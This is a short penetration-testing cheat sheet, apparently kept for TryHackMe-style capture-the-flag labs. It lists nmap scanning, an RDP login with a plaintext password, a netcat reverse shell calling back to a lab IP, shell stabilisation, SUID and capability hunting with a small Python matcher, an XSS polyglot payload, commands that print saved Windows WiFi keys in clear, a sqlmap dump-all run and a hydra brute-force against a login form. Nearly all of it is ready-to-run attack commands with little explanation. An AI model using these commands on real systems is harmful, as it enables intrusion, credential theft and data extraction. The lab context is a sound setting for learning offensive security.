NMAP

bash
nmap -sV -sC -Pn -oN nmap 10.10.235.250

RDP

bash
xfreerdp /u:eagle\bob /p:Slavi123 /v:TARGET_IP /dynamic-resolution

For reverse tcp from there

bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.240.208 5554 >/tmp/f

For spawning a terminal and stabilization

bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl+z
stty raw -echo; fg

If we want to use our terminal normally

bash
reset

For such things like Vim

bash
stty -a # in our terminal to see numbers
stty rows #over there
stty cols

Suid sgid
bash
find / -perm -u=s -type f 02>/dev/null

Code I wrote to automate some part
python
with open('gtfobins suid.txt', 'r') as list_file: # the whole list of available suid binaries
commands = set(line.strip() for line in list_file)

```
with open('found suids.txt', 'r') as found_file: # found in machine
for line in found_file:
words = line.strip().split('/')
last_word = words[-1]
if last_word in commands:
print(line.strip())
```

Capability

```
bash
getcap -r / 2>/dev/null
```

XSS

```
js
jaVasCript:/-/*\*/`/*\`/'/"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
```

Get WiFi passwords from Windows

```
shell
netsh wlan show profile
netsh wlan show profile $WIFINAME key=clear | findstr Key
```

sqlmap

```
bash
sqlmap -r aaa.req --dump-all --batch
```

Hyrda

```
bash
hydra -P /usr/share/wordlists/rockyou.txt -l admin blitz.icsd http-get-form
"/:j_username=^USER^&j_password=^PASS^&from=&Submit=:Invalid username or password"
```